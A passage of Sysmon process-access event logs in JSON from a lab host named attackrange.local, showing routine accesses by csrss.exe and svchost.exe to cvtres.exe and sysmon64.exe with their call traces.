Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+18321|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+17b76|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+9e0d|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+1edf02|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:15","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4909,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.993\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-415F-5F2D-0000-0010777E0700}\r\nTargetProcessId: 2820\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.993","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-415F-5F2D-0000-0010777E0700}","TargetProcessId":"2820","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:56:15","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4910,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.993\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.993","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:15","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4911,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.993\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.993","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:15","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4912,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.993\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.993","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:15","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4913,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.993\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.993","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:15","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4914,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.993\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.993","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:15","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4915,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.993\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.993","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:15","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4916,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.993\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.993","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:15","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4917,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.993\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 